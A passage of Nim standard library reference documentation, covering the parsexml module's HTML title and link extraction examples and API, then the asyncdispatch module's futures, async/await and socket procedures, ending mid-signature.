used. * Thus the checks would have been very difficult to implement properly with little benefit, especially since they are simple to implement in the client. The client should use the `errorMsgExpected` proc to generate a nice error message that fits the other error messages this library creates. Example 1: Retrieve HTML title ------------------------------ The file `examples/htmltitle.nim` demonstrates how to use the XML parser to accomplish a simple task: To determine the title of an HTML document. ``` # Example program to show the parsexml module # This program reads an HTML file and writes its title to stdout. # Errors and whitespace are ignored. import os, streams, parsexml, strutils if paramCount() < 1: quit("Usage: htmltitle filename[.html]") var filename = addFileExt(paramStr(1), "html") var s = newFileStream(filename, fmRead) if s == nil: quit("cannot open the file " & filename) var x: XmlParser open(x, s, filename) while true: x.next() case x.kind of xmlElementStart: if cmpIgnoreCase(x.elementName, "title") == 0: var title = "" x.next() # skip "<title>" while x.kind == xmlCharData: title.add(x.charData) x.next() if x.kind == xmlElementEnd and cmpIgnoreCase(x.elementName, "title") == 0: echo("Title: " & title) quit(0) # Success! else: echo(x.errorMsgExpected("/title")) of xmlEof: break # end of file reached else: discard # ignore other events x.close() quit("Could not determine title!") ``` Example 2: Retrieve all HTML links ---------------------------------- The file `examples/htmlrefs.nim` demonstrates how to use the XML parser to accomplish another simple task: To determine all the links an HTML document contains. ``` # Example program to show the new parsexml module # This program reads an HTML file and writes all its used links to stdout. # Errors and whitespace are ignored. import os, streams, parsexml, strutils proc `=?=` (a, b: string): bool = # little trick: define our own comparator that ignores case return cmpIgnoreCase(a, b) == 0 if paramCount() < 1: quit("Usage: htmlrefs filename[.html]") var links = 0 # count the number of links var filename = addFileExt(paramStr(1), "html") var s = newFileStream(filename, fmRead) if s == nil: quit("cannot open the file " & filename) var x: XmlParser open(x, s, filename) next(x) # get first event block mainLoop: while true: case x.kind of xmlElementOpen: # the <a href = "xyz"> tag we are interested in always has an attribute, # thus we search for ``xmlElementOpen`` and not for ``xmlElementStart`` if x.elementName =?= "a": x.next() if x.kind == xmlAttribute: if x.attrKey =?= "href": var link = x.attrValue inc(links) # skip until we have an ``xmlElementClose`` event while true: x.next() case x.kind of xmlEof: break mainLoop of xmlElementClose: break else: discard x.next() # skip ``xmlElementClose`` # now we have the description for the ``a`` element var desc = "" while x.kind == xmlCharData: desc.add(x.charData) x.next() echo(desc & ": " & link) else: x.next() of xmlEof: break # end of file reached of xmlError: echo(errorMsg(x)) x.next() else: x.next() # skip other events echo($links & " link(s) found!") x.close() ``` Imports ------- <strutils>, <lexbase>, <streams>, <unicode>, <os> Types ----- ``` XmlEventKind = enum xmlError, ## an error occurred during parsing xmlEof, ## end of file reached xmlCharData, ## character data xmlWhitespace, ## whitespace has been parsed xmlComment, ## a comment has been parsed xmlPI, ## processing instruction (``<?name something ?>``) xmlElementStart, ## ``<elem>`` xmlElementEnd, ## ``</elem>`` xmlElementOpen, ## ``<elem xmlAttribute, ## ``key = "value"`` pair xmlElementClose, ## ``>`` xmlCData, ## ``<![CDATA[`` ... data ... ``]]>`` xmlEntity, ## &entity; xmlSpecial ## ``<! ... data ... >`` ``` enumeration of all events that may occur when parsing [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parsexml.nim#L157) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parsexml.nim#L157) ``` XmlErrorKind = enum errNone, ## no error errEndOfCDataExpected, ## ``]]>`` expected errNameExpected, ## name expected errSemicolonExpected, ## ``;`` expected errQmGtExpected, ## ``?>`` expected errGtExpected, ## ``>`` expected errEqExpected, ## ``=`` expected errQuoteExpected, ## ``"`` or ``'`` expected errEndOfCommentExpected, ## ``-->`` expected errAttributeValueExpected ## non-empty attribute value expected ``` enumeration that lists all errors that can occur [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parsexml.nim#L173) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parsexml.nim#L173) ``` XmlParseOption = enum reportWhitespace, ## report whitespace reportComments, ## report comments allowUnquotedAttribs, ## allow unquoted attribute values (for HTML) allowEmptyAttribs ## allow empty attributes (without explicit value) ``` options for the XML parser [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parsexml.nim#L188) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parsexml.nim#L188) ``` XmlParser = object of BaseLexer a, b, c: string kind: XmlEventKind err: XmlErrorKind state: ParserState cIsEmpty: bool filename: string options: set[XmlParseOption] ``` the parser object. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parsexml.nim#L194) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parsexml.nim#L194) Procs ----- ``` proc open(my: var XmlParser; input: Stream; filename: string; options: set[XmlParseOption] = {}) {...}{.raises: [IOError, OSError], tags: [ReadIOEffect].} ``` initializes the parser with an input stream. `Filename` is only used for nice error messages. The parser's behaviour can be controlled by the `options` parameter: If `options` contains `reportWhitespace` a whitespace token is reported as an `xmlWhitespace` event. If `options` contains `reportComments` a comment token is reported as an `xmlComment` event. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parsexml.nim#L217) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parsexml.nim#L217) ``` proc close(my: var XmlParser) {...}{.inline, raises: [Exception, IOError, OSError], tags: [WriteIOEffect].} ``` closes the parser `my` and its associated input stream. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parsexml.nim#L235) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parsexml.nim#L235) ``` proc kind(my: XmlParser): XmlEventKind {...}{.inline, raises: [], tags: [].} ``` returns the current event type for the XML parser [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parsexml.nim#L239) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parsexml.nim#L239) ``` proc rawData(my: var XmlParser): lent string {...}{.inline, raises: [], tags: [].} ``` returns the underlying 'data' string by reference. This is only used for speed hacks. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parsexml.nim#L302) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parsexml.nim#L302) ``` proc rawData2(my: var XmlParser): lent string {...}{.inline, raises: [], tags: [].} ``` returns the underlying second 'data' string by reference. This is only used for speed hacks. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parsexml.nim#L307) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parsexml.nim#L307) ``` proc getColumn(my: XmlParser): int {...}{.inline, raises: [], tags: [].} ``` get the current column the parser has arrived at. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parsexml.nim#L312) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parsexml.nim#L312) ``` proc getLine(my: XmlParser): int {...}{.inline, raises: [], tags: [].} ``` get the current line the parser has arrived at. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parsexml.nim#L316) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parsexml.nim#L316) ``` proc getFilename(my: XmlParser): string {...}{.inline, raises: [], tags: [].} ``` get the filename of the file that the parser processes. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parsexml.nim#L320) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parsexml.nim#L320) ``` proc errorMsg(my: XmlParser): string {...}{.raises: [ValueError], tags: [].} ``` returns a helpful error message for the event `xmlError` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parsexml.nim#L324) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parsexml.nim#L324) ``` proc errorMsgExpected(my: XmlParser; tag: string): string {...}{. raises: [ValueError], tags: [].} ``` returns an error message "<tag> expected" in the same format as the other error messages [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parsexml.nim#L330) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parsexml.nim#L330) ``` proc errorMsg(my: XmlParser; msg: string): string {...}{.raises: [ValueError], tags: [].} ``` returns an error message with text `msg` in the same format as the other error messages [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parsexml.nim#L336) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parsexml.nim#L336) ``` proc next(my: var XmlParser) {...}{.raises: [IOError, OSError], tags: [ReadIOEffect].} ``` retrieves the first/next event. This controls the parser. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parsexml.nim#L754) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parsexml.nim#L754) Templates --------- ``` template charData(my: XmlParser): string ``` returns the character data for the events: `xmlCharData`, `xmlWhitespace`, `xmlComment`, `xmlCData`, `xmlSpecial` Raises an assertion in debug mode if `my.kind` is not one of those events. In release mode, this will not trigger an error but the value returned will not be valid. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parsexml.nim#L243) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parsexml.nim#L243) ``` template elementName(my: XmlParser): string ``` returns the element name for the events: `xmlElementStart`, `xmlElementEnd`, `xmlElementOpen` Raises an assertion in debug mode if `my.kind` is not one of those events. In release mode, this will not trigger an error but the value returned will not be valid. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parsexml.nim#L253) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parsexml.nim#L253) ``` template entityName(my: XmlParser): string ``` returns the entity name for the event: `xmlEntity` Raises an assertion in debug mode if `my.kind` is not `xmlEntity`. In release mode, this will not trigger an error but the value returned will not be valid. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parsexml.nim#L262) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parsexml.nim#L262) ``` template attrKey(my: XmlParser): string ``` returns the attribute key for the event `xmlAttribute` Raises an assertion in debug mode if `my.kind` is not `xmlAttribute`. In release mode, this will not trigger an error but the value returned will not be valid. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parsexml.nim#L270) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parsexml.nim#L270) ``` template attrValue(my: XmlParser): string ``` returns the attribute value for the event `xmlAttribute` Raises an assertion in debug mode if `my.kind` is not `xmlAttribute`. In release mode, this will not trigger an error but the value returned will not be valid. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parsexml.nim#L278) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parsexml.nim#L278) ``` template piName(my: XmlParser): string ``` returns the processing instruction name for the event `xmlPI` Raises an assertion in debug mode if `my.kind` is not `xmlPI`. In release mode, this will not trigger an error but the value returned will not be valid. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parsexml.nim#L286) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parsexml.nim#L286) ``` template piRest(my: XmlParser): string ``` returns the rest of the processing instruction for the event `xmlPI` Raises an assertion in debug mode if `my.kind` is not `xmlPI`. In release mode, this will not trigger an error but the value returned will not be valid. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parsexml.nim#L294) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parsexml.nim#L294) nim asyncdispatch asyncdispatch ============= This module implements asynchronous IO. This includes a dispatcher, a `Future` type implementation, and an `async` macro which allows asynchronous code to be written in a synchronous style with the `await` keyword. The dispatcher acts as a kind of event loop. You must call `poll` on it (or a function which does so for you such as `waitFor` or `runForever`) in order to poll for any outstanding events. The underlying implementation is based on epoll on Linux, IO Completion Ports on Windows and select on other operating systems. The `poll` function will not, on its own, return any events. Instead an appropriate `Future` object will be completed. A `Future` is a type which holds a value which is not yet available, but which *may* be available in the future. You can check whether a future is finished by using the `finished` function. When a future is finished it means that either the value that it holds is now available or it holds an error instead. The latter situation occurs when the operation to complete a future fails with an exception. You can distinguish between the two situations with the `failed` function. Future objects can also store a callback procedure which will be called automatically once the future completes. Futures therefore can be thought of as an implementation of the proactor pattern. In this pattern you make a request for an action, and once that action is fulfilled a future is completed with the result of that action. Requests can be made by calling the appropriate functions. For example: calling the `recv` function will create a request for some data to be read from a socket. The future which the `recv` function returns will then complete once the requested amount of data is read **or** an exception occurs. Code to read some data from a socket may look something like this: ``` var future = socket.recv(100) future.addCallback( proc () = echo(future.read) ) ``` All asynchronous functions returning a `Future` will not block. They will not however return immediately. An asynchronous function will have code which will be executed before an asynchronous request is made, in most cases this code sets up the request. In the above example, the `recv` function will return a brand new `Future` instance once the request for data to be read from the socket is made. This `Future` instance will complete once the requested amount of data is read, in this case it is 100 bytes. The second line sets a callback on this future which will be called once the future completes. All the callback does is write the data stored in the future to `stdout`. The `read` function is used for this and it checks whether the future completes with an error for you (if it did it will simply raise the error), if there is no error however it returns the value of the future. Asynchronous procedures ----------------------- Asynchronous procedures remove the pain of working with callbacks. They do this by allowing you to write asynchronous code the same way as you would write synchronous code. An asynchronous procedure is marked using the `{.async.}` pragma. When marking a procedure with the `{.async.}` pragma it must have a `Future[T]` return type or no return type at all. If you do not specify a return type then `Future[void]` is assumed. Inside asynchronous procedures `await` can be used to call any procedures which return a `Future`; this includes asynchronous procedures. When a procedure is "awaited", the asynchronous procedure it is awaited in will suspend its execution until the awaited procedure's Future completes. At which point the asynchronous procedure will resume its execution. During the period when an asynchronous procedure is suspended other asynchronous procedures will be run by the dispatcher. The `await` call may be used in many contexts. It can be used on the right hand side of a variable declaration: `var data = await socket.recv(100)`, in which case the variable will be set to the value of the future automatically. It can be used to await a `Future` object, and it can be used to await a procedure returning a `Future[void]`: `await socket.send("foobar")`. If an awaited future completes with an error, then `await` will re-raise this error. To avoid this, you can use the `yield` keyword instead of `await`. The following section shows different ways that you can handle exceptions in async procs. ### Handling Exceptions The most reliable way to handle exceptions is to use `yield` on a future then check the future's `failed` property. For example: ``` var future = sock.recv(100) yield future if future.failed: # Handle exception ``` The `async` procedures also offer limited support for the try statement. ``` try: let data = await sock.recv(100) echo("Received ", data) except: # Handle exception ``` Unfortunately the semantics of the try statement may not always be correct, and occasionally the compilation may fail altogether. As such it is better to use the former style when possible. Discarding futures ------------------ Futures should **never** be discarded. This is because they may contain errors. If you do not care for the result of a Future then you should use the `asyncCheck` procedure instead of the `discard` keyword. Note however that this does not wait for completion, and you should use `waitFor` for that purpose. Examples -------- For examples take a look at the documentation for the modules implementing asynchronous IO. A good place to start is the [asyncnet module](asyncnet). Investigating pending futures ----------------------------- It's possible to get into a situation where an async proc, or more accurately a `Future[T]` gets stuck and never completes. This can happen for various reasons and can cause serious memory leaks. When this occurs it's hard to identify the procedure that is stuck. Thankfully there is a mechanism which tracks the count of each pending future. All you need to do to enable it is compile with `-d:futureLogging` and use the `getFuturesInProgress` procedure to get the list of pending futures together with the stack traces to the moment of their creation. You may also find it useful to use this [prometheus package](https://github.com/dom96/prometheus) which will log the pending futures into prometheus, allowing you to analyse them via a nice graph. Limitations/Bugs ---------------- * The effect system (`raises: []`) does not work with async procedures. `asyncdispatch` module depends on the `asyncmacro` module to work properly. Imports ------- <os>, <tables>, <strutils>, <times>, <heapqueue>, <options>, <asyncstreams>, <options>, <math>, <monotimes>, <asyncfutures>, <nativesockets>, <net>, <deques>, <winlean>, <sets>, <hashes>, <macros>, <strutils>, <asyncfutures>, <posix> Types ----- ``` CompletionData = object fd*: AsyncFD cb*: owned(proc (fd: AsyncFD; bytesTransferred: DWORD; errcode: OSErrorCode) {...}{. closure, gcsafe.}) cell*: ForeignCell ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncdispatch.nim#L246) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncdispatch.nim#L246) ``` PDispatcher = ref object of PDispatcherBase ioPort: Handle handles*: HashSet[AsyncFD] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncdispatch.nim#L254) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncdispatch.nim#L254) ``` CustomRef = ref CustomObj ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncdispatch.nim#L261) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncdispatch.nim#L261) ``` AsyncFD = distinct int ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncdispatch.nim#L263) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncdispatch.nim#L263) ``` AsyncEvent = ptr AsyncEventImpl ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncdispatch.nim#L276) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncdispatch.nim#L276) ``` Callback = proc (fd: AsyncFD): bool {...}{.closure, gcsafe.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncdispatch.nim#L278) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncdispatch.nim#L278) Procs ----- ``` proc `==`(x: AsyncFD; y: AsyncFD): bool {...}{.borrow.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncdispatch.nim#L281) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncdispatch.nim#L281) ``` proc newDispatcher(): owned PDispatcher {...}{.raises: [], tags: [].} ``` Creates a new Dispatcher instance. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncdispatch.nim#L283) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncdispatch.nim#L283) ``` proc setGlobalDispatcher(disp: sink PDispatcher) {...}{.raises: [Exception], tags: [RootEffect].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncdispatch.nim#L293) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncdispatch.nim#L293) ``` proc getGlobalDispatcher(): PDispatcher {...}{.raises: [Exception], tags: [RootEffect].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncdispatch.nim#L299) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncdispatch.nim#L299) ``` proc getIoHandler(disp: PDispatcher): Handle {...}{.raises: [], tags: [].} ``` Returns the underlying IO Completion Port handle (Windows) or selector (Unix) for the specified dispatcher. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncdispatch.nim#L304) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncdispatch.nim#L304) ``` proc register(fd: AsyncFD) {...}{.raises: [Exception, OSError], tags: [RootEffect].} ``` Registers `fd` with the dispatcher. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncdispatch.nim#L309) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncdispatch.nim#L309) ``` proc hasPendingOperations(): bool {...}{.raises: [Exception], tags: [RootEffect].} ``` Returns `true` if the global dispatcher has pending operations. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncdispatch.nim#L327) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncdispatch.nim#L327) ``` proc newCustom(): CustomRef {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncdispatch.nim#L424) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncdispatch.nim#L424) ``` proc recv(socket: AsyncFD; size: int; flags = {SafeDisconn}): owned( Future[string]) {...}{.raises: [Exception, ValueError], tags: [RootEffect].} ``` Reads **up to** `size` bytes from `socket`. Returned future will complete once all the data requested is read, a part of the data has been read, or the socket has disconnected in which case the future will complete with a value of `""`. **Warning**: The `Peek` socket flag is not supported on Windows. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncdispatch.nim#L431) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncdispatch.nim#L431) ``` proc recvInto(socket: AsyncFD; buf: pointer; size: int; flags = {SafeDisconn}): owned( Future[int]) {...}{.raises: [Exception, ValueError], tags: [RootEffect].} ``` Reads **up to** `size` bytes from `socket` into `buf`, which must at least be of that size. Returned future will complete once all the data requested is read, a part of the data has been read, or the socket has disconnected in which case the future will complete with a value of `0`. **Warning**: The `Peek` socket flag is not supported on Windows. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncdispatch.nim#L504) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncdispatch.nim#L504) ``` proc send(socket: AsyncFD; buf: pointer; size: int; flags = {SafeDisconn}): owned( Future[void]) {...}{.raises: [Exception, ValueError], tags: [RootEffect].} ``` Sends `size` bytes from `buf` to `socket`. The returned future will complete once all data has been sent. **WARNING**: Use it with caution. If `buf` refers to GC'ed object, you must use GC\_ref/GC\_unref calls to avoid early freeing of the buffer. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncdispatch.nim#L570) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncdispatch.nim#L570) ``` proc sendTo(socket: AsyncFD; data: pointer; size: int; saddr: ptr SockAddr; saddrLen: SockLen; flags = {SafeDisconn}): owned(Future[void]) {...}{. raises: [Exception, ValueError], tags: [RootEffect].} ``` Sends `data` to specified destination `saddr`, using socket `socket`. The returned future will complete once all data has been sent. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncdispatch.nim#L615) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncdispatch.nim#L615) ``` proc recvFromInto(socket: AsyncFD; data: pointer; size: int; saddr: ptr SockAddr; saddrLen: ptr SockLen; flags = {SafeDisconn}): owned(Future[int]) {...}{. raises: [Exception, ValueError], tags: [RootEffect].} ``` Receives a datagram data from `socket` into `buf`, which must be at least of size `size`, address of datagram's sender will be stored into `saddr` and `saddrLen`. Returned future will complete once one datagram has been received, and will return size of packet received. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncdispatch.nim#L660) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncdispatch.nim#L660) ``` proc acceptAddr(socket: AsyncFD; flags = {SafeDisconn}; inheritable = defined(nimInheritHandles)): owned( Future[tuple[address: string, client: AsyncFD]]) {...}{. raises: [Exception, ValueError, OSError, ValueError, Exception], tags: [RootEffect].} ``` Accepts a new connection. Returns a future containing the client socket corresponding to that connection and the remote address of the client. The future will complete when the connection is successfully accepted. The resulting client socket is automatically registered to the dispatcher. If `inheritable` is false (the default), the resulting client socket will not be inheritable by child processes. The `accept` call may result in an error if the connecting socket disconnects during the duration of the `accept`. If the `SafeDisconn` flag is specified then this error will not be raised and instead accept will be called again. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncdispatch.nim#L708) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncdispatch.nim#L708) ``` proc setInheritable(fd: AsyncFD; inheritable: bool): bool {...}{.raises: [], tags: [].} ``` Control whether a file handle can be inherited by child processes. Returns `true` on success. This procedure is not guaranteed to be available for all platforms. Test for availability with [declared()](#declared). [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncdispatch.nim#L805) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncdispatch.nim#L805) ``` proc closeSocket(socket: AsyncFD) {...}{.raises: [Exception], tags: [RootEffect].} ``` Closes a socket and ensures that it is unregistered. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncdispatch.nim#L807) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncdispatch.nim#L807) ``` proc unregister(fd: AsyncFD) {...}{.raises: [Exception], tags: [RootEffect].} ``` Unregisters `fd`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncdispatch.nim#L812) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncdispatch.nim#L812) ``` proc contains(disp: PDispatcher; fd: AsyncFD): bool {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncdispatch.nim#L816) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncdispatch.nim#L816) ``` proc addRead(fd: AsyncFD; cb: Callback) {...}{.raises: [Exception, OSError], tags: [RootEffect].} ``` Start watching the file descriptor for read availability and then call the callback `cb`. This is not `pure` mechanism for Windows Completion Ports (IOCP), so if you can avoid it, please do it. Use `addRead` only if really need it (main usecase is adaptation of unix-like libraries to be asynchronous on Windows). If you use this function, you don't need to use asyncdispatch.recv() or asyncdispatch.accept(), because they are using IOCP, please use nativesockets.recv() and nativesockets.accept() instead. Be sure your callback `cb` returns `true`, if you want to remove watch of `read` notifications, and `false`, if you want to continue receiving notifications. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncdispatch.nim#L911) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncdispatch.nim#L911) ``` proc addWrite(fd: AsyncFD; cb: Callback) {...}{.raises: [Exception, OSError], tags: [RootEffect].} ``` Start watching the file descriptor for write availability and then call the callback `cb`. This is not `pure` mechanism for Windows Completion Ports (IOCP), so if you can avoid it, please do it. Use `addWrite` only if really need it (main usecase is adaptation of unix-like libraries to be asynchronous on Windows). If you use this function, you don't need to use asyncdispatch.send() or asyncdispatch.connect(), because they are using IOCP, please use nativesockets.send() and nativesockets.connect() instead. Be sure your callback `cb` returns `true`, if you want to remove watch of `write` notifications, and `false`, if you want to continue receiving notifications. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncdispatch.nim#L929) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncdispatch.nim#L929) ``` proc addTimer(timeout: int; oneshot: bool; cb: Callback) {...}{. raises: [Exception, OSError], tags: [RootEffect].} ``` Registers callback `cb` to be called when timer expired. Parameters: * `timeout` - timeout value in milliseconds. * `oneshot` + `true` - generate only one timeout event + `false` - generate timeout events periodically [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncdispatch.nim#L982) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncdispatch.nim#L982) ``` proc addProcess(pid: int; cb: Callback) {...}{.raises: [Exception, OSError], tags: [RootEffect].} ``` Registers callback `cb` to be called when process with process ID `pid` exited. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncdispatch.nim#L1016) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncdispatch.nim#L1016) ``` proc newAsyncEvent(): AsyncEvent {...}{.raises: [OSError], tags: [].} ``` Creates a new thread-safe `AsyncEvent` object. New `AsyncEvent` object is not automatically registered with dispatcher like `AsyncSocket`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncdispatch.nim#L1035) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncdispatch.nim#L1035) ``` proc trigger(ev: AsyncEvent) {...}{.raises: [OSError], tags: [].} ``` Set event `ev` to signaled state. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncdispatch.nim#L1050) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncdispatch.nim#L1050) ``` proc unregister(ev: AsyncEvent) {...}{.raises: [Exception, OSError], tags: [RootEffect].} ``` Unregisters event `ev`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncdispatch.nim#L1055) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncdispatch.nim#L1055) ``` proc close(ev: AsyncEvent) {...}{.raises: [OSError], tags: [].} ``` Closes event `ev`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncdispatch.nim#L1066) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncdispatch.nim#L1066) ``` proc addEvent(ev: AsyncEvent; cb: Callback) {...}{.raises: [Exception, OSError], tags: [RootEffect].} ``` Registers callback `cb` to be called when `ev` will be signaled [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncdispatch.nim#L1073) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncdispatch.nim#L1073) ``` proc drain(timeout = 500) {...}{.raises: [Exception, ValueError, OSError], tags: [TimeEffect, RootEffect].} ``` Waits for completion of **all** events and processes them. Raises `ValueError` if there are no pending operations. In contrast to `poll` this processes as many events as are available until the timeout has elapsed. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncdispatch.nim#L1611) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncdispatch.nim#L1611) ``` proc poll(timeout = 500) {...}{.raises: [Exception, ValueError, OSError], tags: [RootEffect, TimeEffect].} ``` Waits for completion events and processes them. Raises `ValueError` if there are no pending operations. This runs the underlying OS epoll or kqueue primitive only once. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncdispatch.nim#L1623) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncdispatch.nim#L1623) ``` proc createAsyncNativeSocket(domain: cint; sockType: cint; protocol: cint; inheritable = defined(nimInheritHandles)): AsyncFD {...}{. raises: [OSError, Exception], tags: [RootEffect].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncdispatch.nim#L1640) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncdispatch.nim#L1640) ``` proc createAsyncNativeSocket(domain: Domain = Domain.AF_INET; sockType: SockType = SOCK_STREAM; protocol: Protocol = IPPROTO_TCP; inheritable = defined(nimInheritHandles)): AsyncFD {...}{. raises: [OSError, Exception], tags: [RootEffect].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncdispatch.nim#L1645) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncdispatch.nim#L1645) ``` proc dial(address: string; port: Port; protocol: Protocol = 